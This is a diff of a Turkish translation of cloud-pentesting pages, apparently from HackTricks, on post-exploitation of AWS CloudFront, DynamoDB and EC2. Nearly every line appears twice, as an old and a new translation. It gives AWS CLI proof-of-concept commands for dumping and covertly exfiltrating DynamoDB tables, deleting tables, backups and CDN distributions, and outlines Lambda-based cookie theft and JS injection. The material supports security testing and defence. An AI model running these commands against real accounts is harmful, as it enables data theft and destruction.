cloudfront:Delete* izni verilmiş bir saldırgan distributions, policies ve diğer kritik CDN yapılandırma nesnelerini silebilir — örneğin distributions, cache/origin policies, key groups, origin access identities, functions/configs ve ilgili kaynaklar. Bu, servis kesintisine, içerik kaybına ve yapılandırma veya adli kanıtların kaldırılmasına yol açabilir.
cloudfront:Delete* yetkisi bulunan bir saldırgan distributions, policies ve diğer kritik CDN yapılandırma nesnelerini silebilir — örneğin distributions, cache/origin policies, key groups, origin access identities, functions/configs ve ilgili kaynaklar. Bu, hizmet kesintisine, içerik kaybına ve yapılandırma ya da adli kanıtların silinmesine yol açabilir.
Bir distribution'ı silmek için saldırgan şunu kullanabilir:
```bash
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
```
### Man-in-the-Middle
Bu [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) birkaç farklı senaryo öneriyor; bu senaryolarda bir **Lambda** eklenebilir (veya zaten kullanılıyorsa değiştirilebilir) **CloudFront** üzerinden geçen bir iletişime, amaç kullanıcı bilgilerini **çalmak** (ör. oturum **cookie**'sini) ve **yanıtı** **değiştirmek** (zararlı bir JS scripti enjekte etmek).
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) birkaç farklı senaryo öneriyor: bir **Lambda**, **CloudFront** üzerinden gerçekleşen bir iletişime eklenebilir (veya zaten kullanılıyorsa değiştirilebilir) ve amaç kullanıcı bilgilerini (ör. oturum **cookie**'sini) **çalmak** ve **response**'ı **değiştirmek** (kötü amaçlı bir JS script'ı enjekte etmek).
#### senaryo 1: CloudFront'un bir bucket içindeki bazı HTML'e erişecek şekilde yapılandırıldığı MitM
#### senaryo 1: MitM — CloudFront'un bir bucket'taki bazı HTML'lere erişecek şekilde yapılandırıldığı durum
- **Oluşturun** kötü amaçlı **function**.
- **İlişkilendirin** bunu CloudFront distribution ile.
- **Etkinlik türünü "Viewer Response" olarak ayarlayın**.
- **Oluşturun** kötü amaçlı **function**'ı.
- **İlişkilendirin** onu CloudFront dağıtımı ile.
- **Olay türünü "Viewer Response" olarak ayarlayın**.
Yanıta erişerek kullanıcıların cookie'sini çalabilir ve kötü amaçlı bir JS enjekte edebilirsiniz.
Response'a erişerek kullanıcıların cookie'sini çalabilir ve kötü amaçlı bir JS enjekte edebilirsiniz.
#### senaryo 2: CloudFront'un zaten bir lambda function kullandığı MitM
#### senaryo 2: MitM — CloudFront zaten bir lambda function kullanıyorsa
- Lambda function'ın kodunu hassas bilgileri çalmak için **değiştirin**.
- Lambda function'ın kodunu **değiştirin** ve hassas bilgileri çalın.
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
Bunları yeniden oluşturmak için [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) adresine bakabilirsiniz.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Daha fazla bilgi için bakınız:
### `dynamodb:BatchGetItem`
Bu izne sahip bir saldırgan, **tablolardan birincil anahtara göre öğeleri alabilir** (tablonun tüm verilerini doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunları tablo meta verisini (`describe-table`) alarak edinebilirsiniz).
Bu izne sahip bir saldırgan, tabloların birincil anahtarına göre **öğeleri alabilir** (tablodaki tüm verileri doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak öğrenebilirsiniz (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** Tabloda hassas bilgileri bularak dolaylı privesc
**Olası Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc
### `dynamodb:GetItem`
**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırıcının almak istediği kaydın birincil anahtarı verildiğinde sadece 1 tablodan değerleri okumasına izin verir:
**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırıcının sadece 1 tablodan, alınacak kaydın birincil anahtarı verildiğinde değerleri okumasına izin verir:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
Bu izinle **`transact-get-items`** metodunu şu şekilde kullanmak da mümkündür:
Bu izinle ayrıca **`transact-get-items`** metodunu şu şekilde kullanmak da mümkündür:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**Potansiyel Etki:** Tabloda hassas bilgileri bularak Indirect privesc
**Potansiyel Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc
### `dynamodb:Query`
**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırganın alınmak istenen kaydın birincil anahtarı verildiğinde sadece 1 tablodan değerleri okumasına izin verir. [Karşılaştırmaların bir alt kümesini](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmaya izin verir, ancak birincil anahtarla (görünmesi zorunlu olan) izin verilen tek karşılaştırma "EQ" olduğu için, bir istekte tüm veritabanını elde etmek amacıyla bir karşılaştırma kullanamazsınız.
**Similar to the previous permissions** bu izin, bir saldırganın yalnızca alınacak girdinin birincil anahtarı verildiğinde tek bir tablodan değerleri okumasına izin verir. Bir [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmaya izin verir, ancak birincil anahtarla (görünmesi gereken) izin verilen tek karşılaştırma "EQ" olduğundan, bir istekte tüm DB'yi almak için bir karşılaştırma kullanamazsınız.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** Dolaylı privesc: tabloda hassas bilgileri bularak
**Potansiyel Etki:** Tablodaki hassas bilgileri tespit ederek dolaylı privesc
### `dynamodb:Scan`
Bu izni kullanarak tabloyu kolayca **dump** edebilirsiniz.
Bu izni kullanarak **tüm tabloyu kolayca dump edebilirsiniz**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Potansiyel Etki:** Tabloda hassas bilgileri bularak dolaylı privesc
**Potansiyel Etki:** Indirect privesc — tablodaki hassas bilgileri bularak
### `dynamodb:PartiQLSelect`
Bu izni kullanarak **tüm tabloyu kolayca dump edebilirsiniz**.
Bu izni kullanarak **tabloda bulunan tüm verileri kolayca dump edebilirsiniz**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Bu izin ayrıca `batch-execute-statement` gibi işlemleri gerçekleştirmeye izin verir:
Bu izin ayrıca `batch-execute-statement` gibi işlemleri gerçekleştirmeye de izin verir:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
ancak birincil anahtarı bir değerle belirtmeniz gerekir, bu yüzden pek kullanışlı değildir.
ancak birincil anahtara bir değer belirtmeniz gerekiyor, bu yüzden o kadar kullanışlı değil.
**Olası Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc
**Potansiyel Etki:** Tabloda hassas bilgileri bularak dolaylı privesc
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Bu izin, bir saldırganın **tüm tabloyu seçtiği bir S3 bucket'a dışa aktarmasına** izin verir:
Bu izin, bir saldırganın **tüm tabloyu tercih ettiği bir S3 bucket'ına dışa aktarmasına** izin verir:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,22 +144,22 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Bunun çalışması için tablonun point-in-time-recovery özelliğinin etkinleştirilmiş olması gerekir; tablonun bunu destekleyip desteklemediğini şu komutla kontrol edebilirsiniz:
Not: bunun çalışması için tablonun point-in-time-recovery etkinleştirilmiş olması gerekir; tablonun bunu sağlayıp sağlamadığını şu komutla kontrol edebilirsiniz:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Etkin değilse, bunu **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız var:
Etkin değilse, **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız var:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Potansiyel Etki:** Indirect privesc by locating sensitive information in the table
**Olası Etki:** Tablodaki hassas bilgileri tespit ederek dolaylı privesc
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Bu izinlerle bir saldırgan **yedekten yeni bir tablo oluşturabilir** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleyebilir). Ardından, gerekli izinlerle yedeklerden **bilgi** kontrol edebilir; bu yedeklerde **artık üretim tablosunda bulunmayan** veriler yer alabilir.
Bu izinlerle, bir saldırgan **yedekten yeni bir tablo oluşturabilir** (veya hatta önce bir yedek oluşturup bunu farklı bir tabloda restore edebilir). Ardından, gerekli izinlerle, yedeklerdeki **bilgileri** kontrol edebilir; bu bilgiler **artık üretim tablosunda bulunmayabilir**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
@@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \
### `dynamodb:PutItem`
Bu izin, kullanıcılara tabloya **yeni bir öğe ekleme veya mevcut bir öğeyi yeni bir öğe ile değiştirme** yetkisi verir. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Birincil anahtar yoksa, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**.
Bu izin, kullanıcıların tabloya **yeni bir öğe eklemesine veya mevcut bir öğeyi yeni bir öğe ile değiştirmesine** olanak tanır. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** DynamoDB tablosuna veri ekleyip/değiştirme yeteneği sayesinde ilave vulnerabilities/bypasses'ın suistimali
**Potential Impact:** DynamoDB tablosuna veri ekleyip/değiştirebilme yoluyla ilave güvenlik açıklarının ve bypasses'in sömürülmesi
### `dynamodb:UpdateItem`
Bu izin, kullanıcıların **bir öğenin mevcut özniteliklerini değiştirmesine veya öğeye yeni öznitelikler eklemesine** olanak tanır. Bu işlem tüm öğeyi **değiştirmez**; yalnızca belirtilen öznitelikleri günceller. Eğer tablodaki birincil anahtar mevcut değilse, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve update expression'da belirtilen öznitelikleri ayarlar.
Bu izin kullanıcılara bir öğenin mevcut özniteliklerini **değiştirme veya öğeye yeni öznitelikler ekleme** yetkisi verir. O **tüm öğeyi değiştirmez**; yalnızca belirtilen öznitelikleri günceller. Eğer tabloda belirtilen birincil anahtar yoksa, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturacak** ve güncelleme ifadesinde belirtilen öznitelikleri ayarlayacaktır.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,36 +242,36 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Olası Etki:** Bir DynamoDB tablosuna veri ekleyip/değiştirerek ilave vulnerabilities/bypasses'ın suistimal edilmesi
**Olası Etki:** Bir DynamoDB tablosuna veri ekleme/değiştirme yetkisi ile ilave vulnerabilities/bypasses istismarı
### `dynamodb:DeleteTable`
Bu izne sahip bir saldırgan **bir DynamoDB tablosunu silebilir ve veri kaybına neden olabilir**.
Bu izne sahip bir saldırgan bir DynamoDB tablosunu **silebilir; bu da veri kaybına yol açar**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Potansiyel etki**: Silinen tabloya bağımlı hizmetlerde veri kaybı ve kesinti.
**Olası etki**: Silinen tabloya bağlı hizmetlerde veri kaybı ve kesinti.
### `dynamodb:DeleteBackup`
Bu izne sahip bir saldırgan, **bir DynamoDB yedeğini silebilir; bu da felaket kurtarma senaryosunda potansiyel olarak veri kaybına neden olabilir**.
Bu izne sahip bir saldırgan **DynamoDB yedeğini silebilir; bu, felaket kurtarma durumunda potansiyel olarak veri kaybına neden olabilir**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Olası etki**: Veri kaybı ve felaket kurtarma senaryosunda yedekten geri yükleyememe.
**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleyememe.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Bunun gerçekten çalışıp çalışmadığını test et
Bu izinlere sahip bir saldırgan **bir DynamoDB tablosunda bir stream etkinleştirebilir, tabloyu değişiklikleri akışa almak için güncelleyebilir ve ardından tabloya yapılan değişiklikleri gerçek zamanlı izlemek için stream'e erişebilir**. Bu, saldırganın veri değişikliklerini izlemesine ve exfiltrate etmesine olanak sağlar; bu da potansiyel olarak data leakage ile sonuçlanabilir.
Bu izinlere sahip bir saldırgan, **bir DynamoDB tablosunda bir stream etkinleştirebilir, tabloyu değişiklikleri akışa başlaması için güncelleyebilir ve ardından tablodaki değişiklikleri gerçek zamanlı olarak izlemek için stream'e erişebilir**. Bu, saldırganın veri değişikliklerini izlemesine ve exfiltrate etmesine olanak tanır; bu da potansiyel olarak data leakage ile sonuçlanabilir.
1. DynamoDB tablosunda bir stream etkinleştirin:
1. Bir DynamoDB tablosunda stream etkinleştirin:
```bash
aws dynamodb update-table \
--table-name TargetTable \
@@ -284,7 +284,7 @@ aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. stream ARN kullanarak shard iterator'ı alın:
3. stream ARN'sini kullanarak shard iterator'ını alın:
```bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. shard iterator'ı kullanarak stream'den verilere erişin ve verileri exfiltrate edin:
4. shard iterator'ı kullanarak stream'den verileri exfiltrate edin:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Potential impact**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve data leakage.
**Potansiyel etki**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve veri sızıntısı.
### `dynamodb:UpdateItem` ve `ReturnValues=ALL_OLD` ile öğeleri okuma
Bir saldırgan, bir tabloda yalnızca `dynamodb:UpdateItem` iznine sahip olsa bile, zararsız bir güncelleme yapıp `--return-values ALL_OLD` talep ederek öğeleri olağan okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin güncelleme öncesi tam görüntüsünü döndürür (bu RCUs tüketmez).
Bir saldırgan, bir tabloda yalnızca `dynamodb:UpdateItem` iznine sahip olsa bile, zararsız bir güncelleme yapıp `--return-values ALL_OLD` isteyerek normal okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan öğeleri okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin güncelleme öncesi tam görüntüsünü döndürecektir (bu, RCU tüketmez).
- Minimum permissions: `dynamodb:UpdateItem` hedef tablo/anahtar üzerinde.
- Prerequisites: Öğenin birincil anahtarını bilmeniz gerekir.
- Minimum izinler: `dynamodb:UpdateItem` hedef tablo/anahtar üzerinde.
- Ön koşullar: Öğenin birincil anahtarını bilmelisiniz.
Örnek (zararsız bir öznitelik ekler ve yanıt içinde önceki öğeyi exfiltrates):
Örnek (zararsız bir attribute ekler ve yanıt içinde önceki öğeyi exfiltrates):
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
The CLI response will include an `Attributes` block containing the complete previous item (tüm Attributes), effectively providing a read primitive from write-only access.
CLI yanıtı, önceki öğenin tamamını (tüm öznitelikler) içeren bir `Attributes` bloğu içerecek; bu, fiilen yalnızca yazma izniyle okuma yeteneği sağlar.
**Potansiyel Etki:** Yalnızca yazma izinleri ile bir tablodan rastgele öğeler okunabilir; birincil anahtarlar bilindiğinde hassas verilerin exfiltration'ı mümkün olur.
**Olası Etki:** Sadece yazma izinleriyle bir tablodan rastgele öğeler okunabilir; birincil anahtarlar bilindiğinde hassas verilerin exfiltration yoluyla ele geçirilmesine olanak tanır.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Stealth exfiltration by adding a new replica Region to a DynamoDB Global Table (version 2019.11.21). If a principal can add a regional replica, the whole table is replicated to the attacker-chosen Region, from which the attacker can read all items.
Yeni bir replica Region ekleyerek DynamoDB Global Table (sürüm 2019.11.21) üzerinde stealth exfiltration yapılabilir. Bir principal bölgesel bir replica ekleyebiliyorsa, tüm tablo saldırganın seçtiği Region'a kopyalanır ve saldırgan buradan tüm öğeleri okuyabilir.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
İzinler: hedef tabloda `dynamodb:UpdateTable` (`replica-updates` ile) veya `dynamodb:CreateTableReplica`. Eğer replica'da CMK kullanılıyorsa, o anahtar için KMS izinleri gerekebilir.
Potential Impact: Tam tablo replikasyonu, saldırgan kontrolündeki bir Bölge'ye yönlendirilerek gizli şekilde data exfiltration'a yol açabilir.
Olası Etki: Tüm tablonun saldırganın kontrolündeki bir Region'a tam olarak çoğaltılması; bu da gizli data exfiltration'a yol açabilir.
### `dynamodb:TransactWriteItems` (başarısız koşul yoluyla okuma + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
### `dynamodb:TransactWriteItems` (başarısız koşul aracılığıyla okuma + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Transaksiyonel yazma ayrıcalıklarına sahip bir saldırgan, `TransactWriteItems` içinde kasıtlı olarak bir `ConditionExpression`'ı başarısız kılan ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` ayarlanmış bir `Update` gerçekleştirerek mevcut bir öğenin tüm özniteliklerini exfiltrate edebilir. Başarısızlık durumunda, DynamoDB önceki öznitelikleri transaction cancellation reasons içine dahil eder; bu da hedeflenen anahtarlar için fiilen yalnızca yazma erişimini okuma erişimine çevirir.
Transaksiyonel yazma yetkisine sahip bir saldırgan, `TransactWriteItems` içinde kasıtlı olarak bir `ConditionExpression`'ı başarısız kılan ve `ReturnValuesOnConditionCheckFailure=ALL_OLD` olarak ayarlanan bir `Update` gerçekleştirerek mevcut bir öğenin tüm özniteliklerini exfiltrate edebilir. Başarısızlık durumunda DynamoDB, işlem iptal nedenleri içinde önceki öznitelikleri dahil eder; bu da hedef anahtarlara yönelik sadece yazma erişimini fiilen okuma erişimine dönüştürür.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
İzinler: hedef tabloda (ve alt öğede) `dynamodb:TransactWriteItems`. Okuma izinleri gerekli değildir.
İzinler: `dynamodb:TransactWriteItems` hedef tabloda (ve ilgili item üzerinde). Okuma izinlerine gerek yok.
Potansiyel Etki: Dönen iptal nedenleri aracılığıyla, yalnızca işlemsel yazma ayrıcalıkları kullanarak bir tablodan (birincil anahtara göre) rastgele öğeler okunabilir.
Potansiyel Etki: Yalnızca transactional write ayrıcalıkları kullanarak, iade edilen iptal nedenleri aracılığıyla bir tablodan (birincil anahtara göre) rastgele item'ları okuyabilme.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI üzerinde
Düşük entropili bir attribute üzerinde `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturarak okuma kısıtlarını aşın, bu attribute'u tüm öğelerde sabit bir değere ayarlayın ve ardından tam öğeleri almak için dizini `Query` edin. Bu, temel tabloda `Query`/`Scan` reddedilmiş olsa bile, dizin ARN'sini sorgulayabildiğiniz sürece çalışır.
Düşük entropili bir attribute üzerinde `ProjectionType=ALL` ile bir Global Secondary Index (GSI) oluşturarak okuma kısıtlamalarını atlayın, bu attribute'u item'larda sabit bir değere ayarlayın, sonra tüm item'ları almak için index'i `Query` edin. Bu, base table üzerinde `Query`/`Scan` reddedilmiş olsa bile, index ARN'sine sorgu yapabiliyorsanız işe yarar.
- Asgari izinler:
- Minimum izinler:
- `dynamodb:UpdateTable` hedef tabloda (GSI'yi `ProjectionType=ALL` ile oluşturmak için).
- `dynamodb:UpdateItem` hedef tablo anahtarlarında (her öğede indekslenen attribute'u ayarlamak için).
- `dynamodb:Query` dizin kaynak ARN'si üzerinde (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
- `dynamodb:UpdateItem` hedef tablo anahtarlarında (her item için indexlenen attribute'u ayarlamak için).
- `dynamodb:Query` index resource ARN'si üzerinde (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Adımlar (PoC us-east-1'de):
```bash
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Potential Impact:** Yeni oluşturulmuş ve tüm attribute'ları projekte eden bir GSI sorgulanarak, base table read APIs engellense bile tablonun tamamının exfiltration'ı yapılabilir.
**Olası Etki:** Tüm tablo exfiltration'ı, tüm öznitelikleri projekte eden yeni oluşturulmuş bir GSI sorgulanarak, temel tablo okuma API'leri engellense bile.
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams aracılığıyla sürekli exfiltration)
DynamoDB Kinesis streaming destinations'ı kötüye kullanarak bir tablodaki değişiklikleri attacker-controlled bir Kinesis Data Stream'e sürekli olarak exfiltrate etmek. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı neredeyse gerçek zamanlı olarak streame iletilir ve tablo için read permissions gerekmez.
Tablodaki değişiklikleri saldırgan kontrollü bir Kinesis Data Stream'e sürekli exfiltrate etmek için DynamoDB Kinesis streaming destinasyonlarının kötüye kullanılması. Etkinleştirildiğinde, her INSERT/MODIFY/REMOVE olayı tablo üzerinde okuma izinlerine ihtiyaç olmadan neredeyse gerçek zamanlı olarak streame iletilir.
Minimum permissions (attacker):
- `dynamodb:EnableKinesisStreamingDestination` hedef tablo üzerinde
Minimum izinler (saldırgan):
- `dynamodb:EnableKinesisStreamingDestination` hedef tabloda
- İsteğe bağlı olarak durumu izlemek için `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
- Kayıtları tüketmek için attacker-owned Kinesis stream üzerinde okuma izinleri: `kinesis:*`
- Kayıtları tüketmek için saldırganın sahip olduğu Kinesis stream üzerinde okuma izinleri: `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
dynamodb:UpdateTimeToLive iznine sahip bir saldırgan, bir tablonun TTL (time-to-live) yapılandırmasını değiştirebilir; TTL'i etkinleştirebilir veya devre dışı bırakabilir. TTL etkinleştirildiğinde, yapılandırılmış TTL özniteliğini içeren bireysel öğeler, sonlanma zamanlarına ulaşıldığında otomatik olarak silinir. TTL değeri her öğedeki diğer bir özniteliktir; bu özniteliğe sahip olmayan öğeler TTL tabanlı silinmeden etkilenmez.
dynamodb:UpdateTimeToLive iznine sahip bir saldırgan, bir tablonun TTL (time-to-live) yapılandırmasını TTL'i etkinleştirme veya devre dışı bırakma — değiştirebilir. TTL etkinleştirildiğinde, yapılandırılmış TTL özniteliğini içeren bireysel öğeler, son kullanma zamanına ulaşıldığında otomatik olarak silinir. TTL değeri her öğedeki başka bir özniteliktir; bu özniteliği içermeyen öğeler TTL tabanlı silinmeden etkilenmez.
Eğer öğeler zaten TTL özniteliğini içermiyorsa, saldırganın TTL özniteliğini eklemek ve toplu silinmeleri tetiklemek için öğeleri güncelleme iznine (örneğin dynamodb:UpdateItem) de sahip olması gerekir.
Eğer öğeler zaten TTL özniteliğini içermiyorsa, saldırganın TTL özniteliğini ekleyip toplu silinmeleri tetiklemek için öğeleri güncelleyen bir izne (örneğin dynamodb:UpdateItem) de ihtiyacı olur.
İlk olarak, sürenin sona ermesi için kullanılacak öznitelik adını belirterek tabloda TTL'i etkinleştirin:
İlk olarak tabloda TTL'i etkinleştirin; silinme için kullanılacak öznitelik adını belirtin:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```
Sonra öğeleri TTL attribute (epoch seconds) ekleyecek şekilde güncelleyin, böylece süreleri dolduğunda silinecekler:
Sonra öğeleri, TTL özniteliğini (epoch saniyeleri) ekleyecek şekilde güncelleyin, böylece süresi dolup kaldırılacaklar:
```bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
@@ -550,15 +550,15 @@ aws dynamodb update-item \
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
Bir saldırgan, dynamodb:RestoreTableFromAwsBackup veya dynamodb:RestoreTableToPointInTime izinlerine sahip olduğunda, orijinal tabloya üzerine yazmadan yedeklerden veya point-in-time recovery (PITR) ile geri yüklenen yeni tablolar oluşturabilir. Geri yüklenen tablo, seçilen zamandaki verilerin tam bir görüntüsünü içerir; bu nedenle saldırgan bunu geçmiş bilgileri exfiltrate etmek veya veritabanının geçmiş durumunun tam bir dump'ını elde etmek için kullanabilir.
dynamodb:RestoreTableFromAwsBackup veya dynamodb:RestoreTableToPointInTime izinlerine sahip bir saldırgan, orijinal tabloya zarar vermeden yedeklerden veya point-in-time recovery (PITR) ile geri yüklenen yeni tablolar oluşturabilir. Geri yüklenen tablo, seçilen zamandaki verilerin tam bir görüntüsünü içerir; bu nedenle saldırgan bunu geçmiş bilgileri exfiltrate etmek veya veritabanının önceki durumunun tam dökümünü elde etmek için kullanabilir.
Bir DynamoDB tablosunu on-demand backup'tan geri yükleyin:
Restore a DynamoDB table from an on-demand backup:
```bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
```
Bir DynamoDB tablosunu belirli bir zaman noktasına geri yükleyin (geri yüklenmiş durumu içeren yeni bir tablo oluşturun):
DynamoDB tablosunu bir zamandaki duruma geri yükle (geri yüklenen durumla yeni bir tablo oluştur):
```bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
@@ -567,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \
````
</details>
**Potential Impact:** Sürekli, neredeyse gerçek zamanlı olarak tablo değişikliklerinin, tablo üzerinde doğrudan okuma işlemi yapılmaksızın saldırgan kontrollü bir Kinesis akışına sızdırılması.
**Potential Impact:** Tablodaki değişikliklerin, tablo üzerinde doğrudan okuma işlemi yapılmaksızın, saldırgan tarafından kontrol edilen bir Kinesis akışına sürekli, neredeyse gerçek zamanlı olarak sızdırılması.
@@ -12,10 +12,10 @@ Daha fazla bilgi için bakınız:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring, herhangi bir yazılım kurmaya gerek kalmadan VPC içindeki EC2 instance'ların gelen ve giden trafiğini **çoğaltır**. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir network intrusion detection system (IDS) gibi bir şeye gönderilir.
Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve buradan hassas bilgileri elde edebilir:
VPC traffic mirroring, VPC içindeki EC2 instance'larının gelen ve giden trafiğini instance'ların kendilerine herhangi bir şey kurma gereği olmadan çoğaltır. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ izinsiz giriş tespit sistemine (IDS) gönderilir.\
Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve içinden hassas bilgiler elde edebilir:
Daha fazla bilgi için şu sayfaya bakın:
For more information check this page:
{{#ref}}
aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copy Running Instance
Instances genellikle bazı hassas bilgiler içerir. İçeri girmek için farklı yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ancak, içinde ne olduğunu kontrol etmenin bir diğer yolu **bir AMI oluşturmak ve ondan yeni bir instance (hatta kendi hesabınızda bile) çalıştırmaktır**:
